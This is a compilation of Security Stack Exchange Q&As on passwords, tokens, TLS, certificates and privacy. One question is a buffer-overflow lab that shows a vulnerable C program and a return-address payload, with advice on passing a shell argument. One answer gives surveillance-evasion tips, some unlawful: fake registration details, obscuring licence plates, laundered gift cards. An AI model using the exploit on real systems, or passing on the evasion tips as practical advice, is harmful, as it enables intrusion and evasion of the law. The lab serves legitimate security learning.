Cryptographically secure password generation I saw this post here that mentions one method of generating cryptographically secure passwords. Recently, I was given a similar task and took a different approach.

One of the answers in that questions used the following

tr -dc '[:alnum:]' < /dev/urandom | head -c20

My method looked more like the following:

dd if=/dev/urandom bs="$password_length" count=1 | base64

I didn't have a requirement for it to be alphanumeric-only, and no requirement for it to contain symbols or anything like that. The only requirements were that it's 8 characters minimum (I went with 80 in practice because, if it only needs to be read/used by a machine, why not?), and hard to guess.

Is there any (cryptographically significant) difference between the two methods (aside from length)?

Aside from length, no there is no difference at all. The former generates a 20 character password with a keyspace of 6220, whereas the latter generates a password with a keyspace of 28×bytes. Assuming bytes is at least 16, you will get 128 bits of entropy which is considered a safe minimum. Both these commands get their entropy directly from /dev/urandom. However, you do not need to use dd for this purpose which is rather inefficient. You can safely and slightly more efficiently use:

head -c"$bytes" /dev/urandom | base64


Logging in after password reset email sent (but not acted on) Should a user be allowed to request a password reset email and then log in (i.e. disregarding the reset email and using their existing password) or should the current account be locked until the password is reset?

If you disabled the account I could see this being abused by an 3rd party (i.e. requesting a password reset for an account not their own) and make it more difficult for the real user to login.

Thoughts?

They should be allowed to log in after the email is sent.

After all clicking on the reset link in the email is what triggers the reset, not requesting the email. As you mention yourself, locking the account when asking for reset mail could lead to abuse.


Bitlocker - does it use hardware acceleration such as AES-NI? I was wondering if perhaps it doesn't since enabling it slows down drive performance even on a Kabylake CPU.

Bitlocker started offering encryption offloading from Windows 8.

However, it offloads to the drive. That means that your drive has to support the appropriate standards. Few do. The link below refers to a question about Surface Pro 4's but the answers show more detail including the limitations and requirements for offloading encryption to SSD.

Not Able to Enable Hardware Based Bitlocker Encryption On Surface Pro 4 (Windows 10 Pro)

TCG Protocols and IEEE 1667 appear to be requirements. Samsung EVO 840/850 or Crucial m500 are listed as having SSD's that meet the requirements. Lenovo are listed has having configuration options (SKU's).


How secure are expiring tokens and refresh tokens? In the comments of a question on StackOverflow, OAuth2 Why do access tokens expire?, people are questioning how secure refresh tokens are.

This comment is how I feel:

  So it provides some protection from packet sniffing, as long as the
  intercept only catches ordinary data requests (Chuck only gets the
  access token)? That sounds a little weak; the black hat just has to
  wait for a bit until the user requests a new access token and then
  he'll get the client ID, secret, and refresh token.

Are we all missing something or basing our fears on an incorrect understanding?

Or is it correct that the security of short-lived access tokens and refresh tokens is based on the assumed probability of the sniffer running when a refresh occurs being 'unlikely'.

It could be that the access token might end up being used around the application over plain HTTP connections. So if an attacker sniffed it, they would only have short term access. This is what used to happen on the web as standard. Login was over HTTPS if you were lucky, and the rest of your session was over plain HTTP, transmitting the session ID in cleartext.

The refresh token is only transmitted to the authorization server, so it is easier to enforce HTTPS only, meaning that an attacker could not eavesdrop on this connection.

See here for more information:

  There is a security reason, the refresh_token is only ever exchanged
  with authorization server whereas the access_token is exchanged with
  resource servers.  This mitigates the risk of a long-lived
  access_token leaking (query param in a log file on an insecure
  resource server, beta or poorly coded resource server app, JS SDK
  client on a non https site that puts the access_token in a cookie,
  etc) in the "an access token good for an hour, with a refresh token
  good for a year or good-till-revoked" vs "an access token
  good-till-revoked without a refresh token."


Using my Smart Phone in China I am going to China.  If I take my Samsung smart phone and get a local SIM card for calling only (no text, no data), turn off wifi, Bluetooth, and NFC, should my phone be safe as far as the stored data is concerned?

If you don't care about your calls being monitored, you could backup the stored data and reset the phone before the departure, reset it again and restore from the backup after coming back home (as R15 suggests).
However, you need to keep in mind that Chinese intelligence agencies occasionally enter hotel rooms and perform low-level copies of your laptop and phone (some kind of "forensic acquisition", like those made by conventional law enforcement agencies). Factory reset may not be enough and a skilled attacker may be able to recover the erased files. You can mitigate, but not completely remove, this risk
a) either by moving your sensitive files to a removable card (which you cannot bring to China), overwriting the memory with random notes, irrelevant pictures, and so on, encrypting the phone, and factory reset it,
b) or by simply buying a burner phone.
You should also be careful about charging your phone.

It's possible to replace your phone's charging equipment with a malicious doppelganger while you're gone, or even while you're asleep.
If you spend enough time in hotels, you may run even into hotel employees who actually enter your hotel while you're asleep. Even if you've bolted the doors and locked them.

Source
Note that this risk could be mitigated by buying a cheap burner (dumb)phone. "Dumbphone" batteries usually last for a rather long time, which means that you may be able to stay in China for, say, a week without having to charge your phone.


Some bots are trying to locate files on server, how to protect? In my apache error log I am getting these errors (there are 100s of these lines), most of these IPs are from China.

I guess some bots are trying to find vulnerable files. Is there any way to protect the server against such attacks?

script '/var/www/public_html/bbr.php' not found or unable to stat
script '/var/www/public_html/ioi.php' not found or unable to stat
script '/var/www/public_html/uuu.php' not found or unable to stat
script '/var/www/public_html/qiqi.php' not found or unable to stat
script '/var/www/public_html/qiqi1.php' not found or unable to stat
script '/var/www/public_html/config.php' not found or unable to stat
script '/var/www/public_html/db_session.init.php' not found or unable to stat
script '/var/www/public_html/wp-admins.php' not found or unable to stat

That is just normal background traffic. All domains are crawled all the time in order to find common vulnerabilities:

Unsecured or default passworded admin areas (like the wp-admins.php in your listing)
Files containing credentials (config.php)
Files or directories that are publicly available but not linked on the page (resulting in some people thinking that makes them somewhat private)

There is nothing you can do to prevent such probes.

If there is a huge influx from a specific IP range, and you don't expect any 'legit' traffic from that range, you can blacklist it. But a lot of these scans might come from botnets, so will have a huge variety of originating IP ranges.


Is is bad practice to use non-standard ports? (for example ssh from 22 to something different) Background is that I am learning some technical stuff with the Enki App. In this case about security. The App states that it is a misuse of a port if I change for example the ssh port from 22 to something different and that's a vulnerability. For a full background a screenshot:

For my own Server I changed the port to reduce the attack surface (at least a very tiny bit).

So my question is do I really introduce a vulnerability by changing the port?

Generally, no you're not introducing a new vulnerability by running a server on another port. The software will behave the same way regardless of what port it listens to (unless of course there is a vulnerability in the code that parses and sets custom ports).

Though you may find that your clients cannot connect to your server because a firewall or intrusion detection system notices "bad" traffic, since it expects the right protocol on well known ports. And if you're in an enterprise environment, those same firewalls and intrusion detection systems will likely be flooding you with false positives, making it harder to detect legitimate threats among the noise.

And the lesson may be hinting at naive security where an admin thinks they've protected themselves from ftp vulnerabilities by closing off ports 20-21 and you're opening ftp vulnerabilities by putting an ftp server on port 22 which is open to the world. The ftp software isn't more vulnerable here, but the system as a whole may be.


How to prevent two-stage CSRF attacks? Assume that we are creating a CSRF token and inject it in a form on the page sendmoney.php. What prevents the attacker from sending a request to sendmoney.php to get the CSRF token and then submitting the form?

Any ideas how to prevent two-stage CSRF attack?

There are two choices for the attacker to make the request to sendmoney.php to generate the token. Case 1: the attacker does it from the victim's computer using the victim's credentials. In this case, the browser's built-in protections will prevent the attacker from reading the generated token, so they can't send it along with the form. Case 2: the attacker does it from their own computer using their own credentials. In this case, the token won't be valid if submitted with a form bearing the victim's credentials.


What are the disadvantages to the site owner to have third parties e-mails displayed publicly? I frequently have to remind my members not to post their e-mails due to spam bots. One of them told me he doesn't care about that since his spam filter is good enough. If I allow him to do that, are there disadvantages to my website?

A small one.

Some spammers grab email address and domains to forge From: addresses.  If this user's email is public, that might increase the odds that a spammer will forge with it, pretending to be sending email from your domain even though the spam is actually coming from someplace else.  In which case, you might notice a slight uptick in warning notices to your maildaemon account, undeliverable email and the like.  I presume you already receive a high volume of these warnings and are already filtering them appropriately.

Other than that, I can't imagine any possible downsides.

Further, the user is right, if you have a good spam filter and know enough not to fall for a phishing attack, the risk of publishing your email address are minimal.


How can I look up a Certificate Authorities CAA record value? I'd like to publish a CAA record for a domain and while I am familiar with the format I do not know what to use for the value. For example, Comodo certs would use 0 issue "comodoca.com" and Certbot would use 0 issue "letsencrypt.org". I need a way to look up what to use for the quoted value when it is not known.

I know that online CAA record generators exist but the CA I use is not listed. Is there a way to look this up online, or extract the value from one of the certificates in the trust chain?

In this instance, I'm trying to learn what to use for Amazon CloudFront (now that Route 53 supports CAA) but I would like to know how to find this value for any issuer. A CLI solution using openssl would be great but an online list is fine also.

EDIT: Checking CAA records becomes mandatory for CA's two weeks from today, and comparing this incomplete list suggested in responses against Mozilla's list of CA's shows a huge discrepancy. For domain owners who wish to publish CAA records today and selectively whitelist trusted CA's, is there no reference material online?

The best way I can think of is asking the CAA record of issuers' domain. Most likely they have it setup for their own domains. I tried it with a few and it seems to work for some.
$ dig caa comodo.com
...
comodo.com.     1013    IN  CAA 0 issue "comodoca.com"
...
$ dig caa symantec.com
...
symantec.com.       3599    IN  CAA 0 issue "symantec.com"
...
$ dig caa digicert.com
...
digicert.com.       3599    IN  CAA 0 issue "digicert.com"
...

vcjones also pointed out there is a list maintained by Mozilla here.
Apart from these, your best bet is probably asking the CA what value they need in this field.


Can we use 1024 bit sized server.key? openssl genrsa -out server.key 1024
openssl req -new -key server.key -out server.csr
"CA step here", generates server.crt, at least 2048 bit RSA

Can we use this two commands to create a server.pem file in the end?

Or the webbrowsers, general softwares will surely reject it, because it is not 2048 bit sized?

Or the server.key at the first step doesn't matters that it is 1024 bit sizes?

Certificates and Certificate Authorities with keys smaller than 2048 bits are not a good choice for new deployments. Unless you have a very specific need for this with some very old hardware or software, there is typically very little impact using a 2048-bit or higher key.

If performance is a concern, and especially on embedded/mobile/low power devices, consider using Elliptic-Curve keys instead of RSA. There are some good guides on how to achieve this.

Mozilla has already started plans to warn users of small RSA key lengths in 2015, and warning for CAs using small keys are already popping up in browsers. Warning for the certificates themselves will start appearing in browsers soon. Deploying anything new knowing this is coming up is not advisable.


When knowing an individual's plaintext password history, how much information is expected to be gained with a new password? Do we know this? The premise: Knowing a persons password history should provide information to help when guessing a new password of theirs.

At an extreme end, with a password history of wildcats, wildcats1, then wildcats2, I'd guess there is less than 1 bit of entropy in their next answer.

At the other extreme end, someone with randomly generated passwords would lose no information in their history. From an information-theoretic point of view, I imagine this is something we can estimate using the large amounts of password history data available in the world.

Somewhere in the middle, a history of "wildcats!Reddit", "crazydogs!Facebook", "locobirds!Stackexchange" would give me some good ideas for a Twitter password, and would greatly reduce the entropy of their hash. Of course, this would be related to the concept of password strength.

I'm not so well-read on security, but I assume my idea is not unique. Is there a name for this concept? Do we know any real-world values for the amount of information gained / entropy lost?

Answering my own question a few months later -- it turns out there is some (very recent) research here.

Beyond Credential Stuffing:
Password Similarity Models using Neural Networks by Bijeeta Pal et. al. introduces some work that cracks passwords by using a users other known passwords, and introduces the concept of a "personal password meter"

I'm not an expert here, but this looks like an interesting first reading. The citations are especially useful, and link to some related works.

As far as I know, as of now (Nov 2019) there aren't any ready-to-use tools like JackTheRipper or HashCat to do this.


Filter TLS in Wireshark or other monitoring tool As part of the new best practices in hardening server communications I need to deny TLS 1.0 on the web server, before doing so I wish to identify the amount of clients whom connect with this level of encryption, therefore I would like know how to filter incoming communications with different encryption methods like TLS 1. 0,  1. 1 and 1. 2.
If there is a different method to identify or quantify these communications which will be easier then whireshark I would be glad to hear about it, thank you!

Try filtering by ssl.record.version

For example, if you wanted to only display TLS v1.2 traffic then you could run ssl.record.version == 0x0303

You can choose from the hex values below for the version that fits your needs.

Versions:

0x0300 SSL 3.0
0x0301 TLS 1.0
0x0302 TLS 1.1
0x0303 TLS 1.2

To avoid using the GUI or to automate this further you could also filter by using tshark.

Resources:

http://blog.fourthbit.com/2014/12/23/traffic-analysis-of-an-ssl-slash-tls-session


How to pass parameters with a Buffer Overflow? I'm experimenting with Buffer overflow basics, I'm trying to call the shell function without modifying the code. So far I've managed to call it but I can't find a way to give it the right parameter (which is exec_string)

Here is the code :

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

/*
* compiled with:
* gcc -O0 -fno-stack-protector lab2B.c -o lab2B -m32
*/

char* exec_string = "/bin/sh";

void shell(char* cmd)
{
    system(cmd);
}

void print_name(char* input)
{
    char buf[15];
    strcpy(buf, input);
    printf("Hello %s\n", buf);
}

int main(int argc, char** argv)
{
    if(argc != 2)
    {
        printf("usage:\n%s string\n", argv[0]);
        return EXIT_FAILURE;
    }

    print_name(argv[1]);

    return EXIT_SUCCESS;
}

I run it with./lab2B $(python -c 'print "A"*27 + "\x8D\x55\x55\x56"') which seems to enable me to get into shell, according to gdb.

Thanks in advance for your help

When you overwrite the return address with the address of your  shell function, try to think of this as a call instruction for shell.

As shown below, when a function is called a stack frame is formed and the parameters for it are pushed onto the stack, followed by the return address(EIP) of your previous function along with your Stack Pointers(ebp, esp). with you Stack Pointer being on top of the frame.

Essentially, after you overwrite the return pointer with "\x8D\x55\x55\x56" you are going to need to add on another address, being return pointer for the new function, as well as the address of your  exec_string pointer, that being a parameter for your new function.

To understand how to exploit  this I would recommend learning more about Return Oriented Programming, this is a good source for understanding that as well as how the stack looks when a function is called.


What is a key-hardened hash? I've seen the term 'key hardened hash' used to describe a recommended way to tighten up password hashing. What does this mean? Can it just mean to use a pepper?

I'll suggest an answer to my own question. Perhaps I'm essentially helping to define a term that has been introduced elsewhere. If we take the definition of 'hardening' in security as:

  hardening is any one of a variety of measures taken to make it more
  difficult for an intruder to circumvent the authentication process

Then 'key hardening' is any action with the intent of making it more difficult to act against the cryptographic hash function by introducing a cryptographic key that is used with the hash function. The standard means for doing this is using an HMAC
https://en.wikipedia.org/wiki/Hash-based_message_authentication_code


Is it possible to take over a Windows server through Oracle? I have a Windows Server 2008 R2 with an Oracle database running on it.

Someone who knows my Oracle username and password claims that he can create a Windows system account somehow. And then he can control the whole server and do whatever he wants.

Is it possible to do so? Sound incredible to me.

You can execute shell commands in PL/SQL is the scenario here. These will run with the privilege of Oracle, which might be LocalSystem. Obviously you will want to secure against this by restricting privileges to create stored procedures, running Oracle as a less-privileged user, and so on.

Once someone has an account then it’s the same as any other breach, they can do anything their new account can do.


Should the API automatically renew the expired JWT or wait for the client to? In most examples I’ve read, I see people mentioning that when the server returns a 401 the client should hit the jwt refresh endpoint, passing in the refresh token somehow (i.e as a cookie), and then continuing on from there with the new JWT token.
I’m failing to see why this can’t just happen automatically on the server side when the server fails to validate (or receive) an expired JWT, assuming it has the refresh token. Is there some security downside that I’m missing?
This assumes that it’s okay to send the refresh token in every request. Assuming HTTPS is in use and the token is stored and sent as a cookie would this raise any issues?

Here is where your logic breaks down:

assuming it has the refresh token

Why would the server have the refresh token?
It's important to understand the role these play in this process. A JWT has a short expiration because they are stateless and cannot be invalidated. Short expirations are inconvenient for users, so the system has a refresh token which is long lived and revokable. Therefore the client uses the JWT for authentication on every request and uses the refresh token to fetch a new JWT when it expires.
A key issue this is meant to solve is stolen JWTs. If an attacker steals a JWT then they lose access as soon as it expires. The refresh token are less-frequently used so are hopefully harder to steal, but are revokable regardless. Therefore you secure an account with suspicious activity by revoking any refresh tokens - this effectively forces all clients to log out once their JWTs expire.
If the server stored the refresh token and automatically handed out new JWTs when a JWT approached expiration, then this would effectively make the JWTs permanent, which is a real problem. In particular, how do you differentiate between clients? If you revoke the refresh token to kick out an attacker, and then the user changes their password and logs back in, what will stop your system from just handing out a new JWT to an attacker who has a previously stolen one (presuming their JWT had not yet expired)?
If everyone has their own refresh token then you don't have to worry about it. Revoking refresh tokens is an effective way to get attackers with stolen credentials out of the account.


How do I audit the effect of security policy on a computer? I have developed different templates for local security policy. I have been using the program Nexpose to test the effects of those security policies but so far I am not able to detect the visible changes of policies on a vulnerability assessment tool. Can anyone guide me how can I measure the effect of local security policy with respect to security attacks?

I want to show USGCB compliance in Nexpose. I need to have a third party tool validation. Whenever I run the enterprise edition of Nexpose it gives me the vulnerabilities, not the policy auditing/compliance. Since I am a noob in the tool and the forums for rapid7 community are not available, can you tell me what steps should I take for getting policy compliance of any particular system in local network running Windows 7?

Windows Group Policies control many different aspects of a running machine. I'm not sure there could be a single way to test the breadth of what a policy could cover.

My approach is to define a test for each policy component (that can be tested) and use whatever tool is appropriate to execute that test. Sometimes that tool can be a script (Powershell, Python, etc.), a packaged tool (Nexpose, metasploit, etc.) or a manual test (click here then there, etc.).

The idea is to treat the security policy like a software development project and to use the concept of "unit testing". Each new "function" needs to be tested for expected behaviour (does it do what I'm asking it to do?) and for unexpected behaviour (what happens when I modify the inputs it controls?). These tests are documented and the results saved. When I make a change to the policy, I re-run the tests and add whatever new tests are appropriate. In this way, I can prove that the policy is effective, and I have evidence for Change Management and Auditors (when applicable). I rest easy knowing that I am not "hoping for the best" when I set a policy.

Having this documented test process also means that when a security incident happens, I can rule out the demonstrated behaviour of the policies and look for ways that the incident occurred despite the successful running of the policy (in other words, I can ask, "if everything worked, how could this have happened?"). Or I know where a policy can fail and I can design mitigating processes to make up for the weaknesses in the policy.

By the way, I use the same process for firewall rules.


Security reasons for kicking user when logged in from two places When account A has logged into computer A, and then account A starts to log in to computer B, account A in computer A will automatically be logged out. May I know what are the possible reasons in why this feature should be implemented? How does it make it more secure?

From the perspective of a developer who recently has to implement such a feature, another possibility is to prevent the users shooting themselves in the feet.

Many custom/internal applications have very specific workflows and store a lot of state in the session. If the user abandoned some work halfway on one computer, finishes it somewhere else and return to the original computer, he/she may get confused about the unifinished work. If the user incorrectly chose to continue, then the original results may be overwritten / duplicated.

It is of course possible to improve the code to make this less likely, but for an internal app, the most cost effective way is to prevent concurrent logins.


Allowing clients to authenticate by generating their own JWT I am trying to achieve an authentication system that:

Has short-lived passwords/tokens (unlike Basic Auth or Api key),
Won't expose users credentials if my users table is leaked (unlike HMAC),
Every request to the API can be achieved with just one call to the server (unlike schemes with a refresh token).

I understand the OpenID/OAuth flows, where an authorization server generates the JSON Web Token (JWT) that a client can use to authenticate to access a resource.

I am considering a flow where the client generates and signs their own JWT:

The user generates a private-public key pair, and registers the public key in the API server.
The client creates a JWT with a claim with the accountId provided by the API server and an expiry claim (eg 1 minute from now).
The client signs the JWT using one of the asymmetric algorithms and the private key.
The client sends a request to the API server using the JWT.
The server extracts the accountId claim from the JWT, and looks for the registered public key for that accountId in the database.
If the signature of the JWT can be verified against the public key, the authentication succeeds. Otherwise, it fails.

The only trade-off (I think) is that each authentication needs a call to the DB to retrieve the account's public key. This is not an issue for us.

What are the security considerations or trade-offs of a scheme like that?

It sounds like you're basically just trying to re-implement mutual TLS ("mTLS", or TLS with Client Authentication). Security-wise, it's a great approach; no passwords / hashes / etc. to leak from the server (incidentally, HMAC by itself is not a suitable password hashing algorithm) but very strong authentication. You can also use a unique key for each client, even if they're owned by the same user, which makes it foolproof to tell, in the event of a compromise, where it occurred. Also, pretty much all standard operating systems and browsers, mobile or desktop, support secure storage and use of private keys, and support mTLS. Finally, while most OSes and such will secure the private keys pretty well and at least recommend putting a password on them (which never leaves the device), you can still add additional server-side security mechanisms to require true multi-factor authentication.

However, it runs into a problem when you try using it in practice: it's a hassle to move the secret key between devices, or set up new key pairs on different devices. Essentially, the user must either export, transfer, and import a key file (losing the advantage of "unique key per client" in the process, unless they then rotate the key on that client alone), or go through what amounts to full re-registration with each new client. This makes it inconvenient for anything with multiple clients (such as web browsers, different PCs, PC + mobile, multiple IoT units, etc.) shared by one user.

You also still need some out-of-band authentication option (email being the usual, or sometimes SMS, but both are less secure) or you have a problem whereby you can't ever restore access to somebody's account if they lose their private key (and also may have a bootstrapping problem; how does the user prove their identity in the first place?) For some systems that's a permissible limitation, but the typical user won't put up with it for the typical app. The out-of-band auth is also useful if you want to make it relatively easy to add unique keys for different users (otherwise, you need to use an already-authenticated client to authorize a new public key for that user).


2ip.io/privacy/ and 'Defining tunnel (two way ping)' on SOCKS5 proxy I was able to setup my first proxy server on Ubuntu 14 using danted. However, when I visit 2ip.io/privacy/

and run their privacy test, they return:

  Defining tunnel (two way ping) found

This is considered bad and reasoning the score 'Probability of anonymization 99%'
What is two way ping and how to prevent it showing up?

What this test means is that evidence of a VPN tunnel has been found by way of analyzing cipher timing signatures (ie, passive TCP/IP fingerprinting). Check out the following article for specifics relating to this type of fingerprinting and what you can do to protect yourself: https://medium.com/@ValdikSS/detecting-vpn-and-its-configuration-and-proxy-users-on-the-server-side-1bcc59742413


Storing server generated passwords There are some applications that generate passwords for you. Consider a case where you sign in via Facebook, the application (let's call it NEWAPP) verifies your sign in on the server using FB tokens and FB verify APIs and then creates a user account for you. NEWAPP would then send over these credentials over an HTTPS(TLS) connection so that you could update NEWAPP OAuth tokens when required.

Question: Given that the server generates credentials & sends these over to the user every time they log in via FB, how is it supposed to store these credentials securely on the server side?

Constraints:

User may log in on a different device using the same FB account. The same credentials (username & password) must be handed over to the user.
User may log in through multiple devices at the same time using the same FB account.
The user themselves have no clue of the username & password for the NEWAPP service; these are sent over by the NEWAPP servers when the user logs in via FB.

The inherent risk in passwords are that users are bad at choosing good passwords, and tend to reuse passwords.  In a scenario like this, it sounds like your system generated password is never sent to the user.  You do not control their password on the facebook side.  You just care about authenticating with the Facebook system.  Your risks are significantly lower, unless you share your system generated password with the user, at which point all bets are off.

Following good security practices, you should still hash the passwords (never store them in clear text, unless there are valid technical reasons for you not to do so, or provided you have some other compensating controls in place to protect those passwords), and change them regularly.  You should have a mechanism to generate fresh tokens with Facebook, so maybe schedule a process to do it automatically every 30 days or so...


How to protect against my Government? I have used the search but I wasn´t able to find anything called "government surveillance" or similar.

My Government is currently planning an new law against terrorism and child porn ;) Great isn´t it? I mean only Terrorists and Pedos can have anything against this law.

Well surprise, surprise it can also used for other things.

Among others this law allows:

Spyware for the Police

Can be installed per Bugs in the System or if this is not possible it is allowed to break into the house of an suspect. Completely without an court order although the home was an "special safe place". Of course is it only against Whatsapp like the Politicians say! Well, not exactly. The law says that every communication made by humans or the PC is meant.
Blocking of Websites

Can be done by the ISP without the action of anyone else. Of course it is only against Terror Material..... No? Oh! It´s against Pornography (which is not forbidden at all), violence adulation and Copyright infringement. I can already see the Terrorists tremble with fear. And there are no control mechanisms or sues against this blocks possible.
More Video Surveillance and the connection of all state Organisations and willing private Video Cameras
Either data retention or "Quick freeze" of the suspects data
Surveillance of all cars on all High-ways
Surveillance of suspects inside of cars (not specified how)
Surveillance through IMSI-Catchers and Silent SMS
Registration of Prepaid Cards (Full name, age, residence, etc)
Identity card requirement to buy bus and train tickets
Of course the secret service will keep the data secure and sound on their Systems (hahah).

Alright, but there are also other people who shall get the data ;) Private people who are in "secure/security" positions shall get the data too ;P That are people in parent clubs, people you are living with, janitors and others in order to solve "neighbour conflicts".

btw, Who is an suspect? Everyone how has the possibility to communicate with an suspect.lol

Although this law is clearly against Terrorists it is enough to be possibly connected with an crime with one or more years of jail sentence to become an target. - it´s enough to forget to pay your aliments to be one of them.

I don´t knew somehow i do more and more mistrust the sate /it´s politicians the more they enforce such things....

How do I protect myself against these people? Let´s assume an normal guy who likes convenience like everyone else and is very worried where this goes (i.e.: air-gapped PC´s or not using a Smartphone are not convenient).  To tighten the Question, I am on Win10 mainly for Games and some Software + Android and online over WLAN.

Let´s assume an normal guy who likes convenience like everyone else and is very worried where this goes (i.e.: air-gapped PC´s or not using a Smartphone are not convenient)

Yeah, that's not going to work in today's world. It's that laziness that lets government agencies get away with things like this. Smartphones in particular are one of the biggest misnomers foisted on society, in that they're smart alright-- they do nothing but feed intelligence back to everybody but the user. We just keep scratching our heads, our only concern being why they become unusably slow every 18 months.

It sucks, but sometimes to gain security, you do have to give up something in return. You can have convenience or security, but not both.

Even so you'd have to go to some rather schizophrenic levels to be truly off the grid these days, but I'll address the rest of these topics as though I have unlimited time and resources to counter these measures:

Spyware for the Police

You need counter-intelligence. A good cellular-based home security system that alerts you when doors and windows are compromised. Hidden CCTV recording throughout. You'll know who's been in there tinkering with your stuff and how. Spooks are trained in how to look for and detect these things so you have to be comprehensive and sporadic. Dummy cameras that activate randomly and may or may not feed anywhere. Make them waste enough time chasing false leads that they miss a few real cameras.

Audit logs on the computer are likely to be useless and/or compromised. BIOS case-opened alerts are also useless. It sounds counter-intuitive but this is actually a physical security problem.

This honestly is one point I believe will ever only get used for terrorism cases, or child porn distributors/producers. It takes a lot of technical expertise that they're not going to want to waste on some kid torrenting copies of "Baby Driver."

Blocking of Websites

Use a VPN, or set up an EC2 instance in America and tunnel everything over ssh. Or Tor. The nature of the internet is such that when you encounter an obstacle, you route around it.

Most domestic pirates and internet users in developing nations figured this much out a long time ago. It's how they get Netflix in Nigeria.

More Video Surveillance and the connection of all state Organisations and willing private Video Cameras

This is nothing new. If you're in a public place these days, chances are someone is recording video of something around you on their phone and uploading it to YouTube. Facial recognition algorithms are surely scanning these videos. You're part of the social intelligence machine whether you like it or not.

Outside of your own home, everything is already watching you. If not traffic cameras, public CCTV or private CCTV, your phone is being tracked and so are its movements. They always know where you are and only need to issue a few subpoenas, then dial into localized CCTV feeds to see what you've been up to. Pretty soon even cars will be cellular-equipped and report their own geolocation metrics. We're already there with some models.

If you want to stay off the grid, first-- do not carry a phone. At all. Or cycle them out for disposable new ones every month or two, paying cash for them each time.

Second, you have to defeat facial recognition patterns. Wear a dust mask like they do in Asian countries, not a bandana like a hooligan. Cover your eyes if possible. Many FR algorithms depend on triangulating distance between eyes, lips and nostrils, or some combination thereof. Obscure these features as best you can (without coming across like the Unabomber) and you should be clear of most of what they're trying to do with these systems.

There was some hoopla a few years back where some ISIS militant on a beheading tape was identified through his full-facial hijab but I'm pretty sure they used his voice as a second data point and got him that way.

Either data retention or "Quick freeze" of the suspects data

Full-disk encryption. Use a strong password and don't ever leave your computer decrypted and unattended. The Alphabay guy just got busted because of this.

But there's currently a US child porn suspect rotting in prison on contempt charges because he refuses to unlock his drives for investigators to use as evidence in his CP trial. So they'll get you one way or another, even with countermeasures.

Surveillance of all cars on all High-ways

This has always been the case. LPRs aren't going anywhere, and you can't legally obscure your plate. Ride a bicycle.

In the country, some people with a habit of running from the law would make it a point to sling as much mud across the front and rear bumpers as they could in an effort to obscure the plates. You will get cited for this (and ruin your paint) but at least you can try to play innocent when it happens (as opposed to a license plate cover).

On motorcycles, the same thing, except they would bend the plate slightly into the wheelwell. The plate can be completely obscured (facing down) by popping a wheelie.

Surveillance of suspects inside of cars (not specified how)

FLIR, most likely. Not much you can do about this. Using IR techniques was controversial in the US some time ago (cops used it to bust a grow house without a warrant); I don't know where it stands now but this is likely what they're going to do to you people.

Lining your car with tinfoil won't do anything about the windows.

Surveillance through IMSI-Catchers and Silent SMS

Don't carry a phone, or use a burner. Nothing attributable to you. If they start requiring registration for burners, just don't carry a phone. Seriously, you don't actually need one. You can play games with "always make sure it's off" or "always take out the battery" (less possible with modern phones) but we've seen bulletins about certain overseas manufacturers who installed secondary batteries in laptops that keep the thing on even when you think it's off. For what purposes, and by who, take a wild guess. Your first answer will be correct.

If it's attributable to you, or you haven't audited the hardware personally, don't carry it.

Registration of Prepaid Cards (Full name, age, residence, etc)

Every time I've bought them in the US I just give fake information. Perhaps that's still an option if they don't verify. Aside from that, don't buy things online if you can avoid it (leaves a digital footprint anyway), or buy pre-registered cards second-hand.

Identity card requirement to buy bus and train tickets

Not much you can do about this. Ride a bicycle.

Of course the secret service will keep the data secure and sound on their Systems (hahah).

Feed them as much bad intel as you can. Their database gets hacked and all you've given them is fragments of activity across a handful of mobile devices, FR hasn't picked you up on any cameras, you don't drive so LPR isn't catching your plates moving across town, you pay cash for everything and buy (plausibly deniable) laundered gift cards off eBay using other laundered cards and have them sent to a dead drop. If you do it right, for all they know you're 42 different people. Just be careful who you talk to-- you may create a common denominator across your "identities."

Congratulations, you're a ghost!


Why is iPhone's internal storage so hard to crack/decrypt? I’ve heard about a rule in Information Security, that once a hacker has access to your physical machine, then it’s all over. However, there seems to be a big exception to this rule: iPhones.

It was all over the news a while back that the CIA (or the FBI or something) could not access information from a terrorist’s phone for their counter-terrorism ops. They had to ask Apple to create them an unlocking program that could unlock the phone for them.

My question is, why are iPhones so hard to hack?

I don't think that you interpret the rule you've heard in the right way. If an attacker has physical access to an encrypted but switched off device he cannot simply break the encryption provided that the encryption was done properly. This is true for an iPhone as much as it is for an fully encrypted notebook or an encrypted Android phone.

The situation is different if the device is not switched off, i.e. the system is on and the operating system has access to the encrypted data because the encryption key was entered at startup. In this case the attacker might try to use an exploit to let the system provide him with the decrypted data. Such exploits are actually more common on Android mainly because you have many vendors and a broad range of cheap and expensive devices on this system vs. only few models and a tightly controlled environment with iPhones. But such exploits exist for iPhone too.

With physical access it would also be possible to manipulate the device in a stealthy way in the hope that the owner does not realize that the device was manipulated and enters the passphrase which protected the device. Such manipulations might be software or hardware based keyloggers or maybe some transparent overlay over the touchscreen which captures the data or similar modifications. This can be done both for switched off and switched on devices but a successful attack requires that the owner is unaware of the changes and will thus enter the secret data into the device. Such attack is also often called evil maid attack since it could for example be done by the maid if one leaves the device in the hotel room.


Is there any good open source software for Security Risk Analysis? Is there any good open source software for Security Risk Analysis?

for example something like one explained on : http://www.security-risk-analysis.com/introduction.htm

No.  Security risk analysis requires intelligence, understanding of security concepts, knowledge of the application domain, and experience with security.  It's not something you can automate with a tool.  There is no substitute for having an experienced security expert understand your application domain and perform a security risk analysis.

(Of course, there may be opportunities for a security expert to use tools to help him/her with the analysis.  But the tool is not a replacement for a human expert.  A tool cannot perform a security risk analysis on its own.)


Is Port Forwarding for bit torrent risky? I have found that my connection decreased suddenly when downloading torrents. I diagnosed it with bit torrent and the answer is that i should do port forwarding on my modem/router! Is it risky?

Port-forwarding means that when a connection is attempted on a specific port on your router, that connection will be forwarded to you (a machine behind the NAT) on that specific port (or, depending on the setup, it can be a different port, but let's not get into that).

Is it risky? Well, it can be risky. It all depends on the application listening on that port. In this case, the application is your BitTorrent client. There are two factors here:

Your trust in the BitTorrent client: You trust that the BitTorrent isn't actually opening a backdoor to your machine.
How up to date you're keeping your BitTorrent client: Outdated clients can have certain upatched vulnerabilities with publicly available exploits.

If you have those two points in check and you think you'll benefit from opening port (I don't think your speed will increase), then go ahead and forward that port.


